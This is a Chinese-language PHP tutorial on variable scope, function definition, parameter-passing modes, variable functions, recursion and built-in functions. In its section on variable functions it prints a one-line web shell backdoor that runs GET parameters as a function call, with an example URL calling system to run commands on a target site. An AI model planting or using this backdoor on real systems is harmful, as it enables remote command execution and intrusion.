1 变量的作用域
- 在函数内外不同位置声明的变量,其作用范围是不一样的,为更好地学习函数,应先了解变量的作用域类型。
- 变量的范围即它定义的上下文背景(也就是它的生效范围)。大部分的 PHP 变量只有一个单独的范围。这个单独的范围跨度同样包含了 include 和 require 引入的文件。如下代码:
<?php
$a = 1;
include 'b.inc';
?>
- 变量按作用域主要分为:
- global:
- 在函数外定义的变量,称为全局变量,其作用域为整个PHP脚本。如果要在函数内部引用则在变量前加global声明。
- static:
- 当一个函数完成时,它的所有变量通常都会被删除,然而,用static声明的静态变量则例外。
- 只有第一个调用时会被初始化,后续调用将沿用上一次调用的结果。
- parameter:参数是通过调用代码将值传递给函数的局部变量,其作用域为函数生命周期内。
- 常量的作用域是超全局的。
2 函数
2.1 函数语法
- PHP 中的所有函数和类都具有全局作用域,可以定义在一个函数之内而在之外调用,反之亦然。
- PHP 不支持函数重载,也不可能取消定义或者重定义已声明的函数。
- 自定义函数语法:
<?php
function foo($arg_1, $arg_2, $arg_n)
{
echo "Example function.\n";
return $retval;
}
?>
2.2 函数参数的传递
- 通过参数列表可以传递信息到函数,即以逗号作为分隔符的表达式列表。函数在实际调用之前,值参数是从左向右求值的(及早求值)。
- PHP 支持传参方式:
- 按值传递参数(默认):函数内部操作仅对形参生效,不影响实参。
- 引用传递参数:相当于对实参取了一个别名,对形参的操作同样会对实参产生影响。
- 默认参数:如果调用函数时没有对已设置默认值的参数传参,则该参数采用默认值。
- 可变长度参数列表:在用户自定义函数中支持可变数量的参数列表。由 … 语法实现。如下例子1。
- 命名参数: 命名参数允许根据参数名而不是参数位置向函数传参。这使得参数的含义自成体系,参数与顺序无关,并允许任意跳过默认值。如下例子2.
<?php
function sum(...$numbers) {
$acc = 0;
foreach ($numbers as $n) {
$acc += $n;
}
return $acc;
}
echo sum(1, 2, 3, 4);
?>
<?php
array_fill(0, 100, 50);
array_fill(start_index: 0, count: 100, value: 50);
?>
2.3 可变函数
- PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
- 可变函数可以用来实现包括回调函数,函数表在内的一些用途。
- 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
- 一个简单的PHP后门,采用可变函数如下:在浏览器访问该网页时,带入参数
?a=system&b=ipconfig
,可获取目标网站IP信息,类似地构造不同的函数和变量,将获取更多信息。
<?php
$_GET['a'] ($_GET['b']);
?>

2.4 递归函数
- 递归函数是在函数内部自己调用自己的函数。
- 该类函数较难直观心算理解其运行结果,建议辅助画图来理解。
- 不同递归层次的函数变量之间没有影响,除非是静态变量、引用传参、全局变量等。
2.5 内置函数
- PHP内置有很多标准的函数和结构。还有一些函数需要和特定的PHP扩展模块一起编译,否则在使用它们的时候就会得到一个致命的“未定义函数”错误。
- 例如要使用 mysqli_connect() 函数,就需要在编译PHP的时候加上MySQLi支持。
- 利用内置函数 function_exists() 判断一个函数是否已经被定义。在已经定义的函数列表(包括系统自带的函数和用户自定义的函数)中查找 function_name。
function_exists(string $function_name): bool
3 总结
- 理解变量与参数的作用域和声明周期;
- 理解递归函数不同层次间变量的影响关系;
- 掌握定义函数的方法;
- 掌握函数的5种传参方式;
- 了解内置函数的查询方式:官网搜索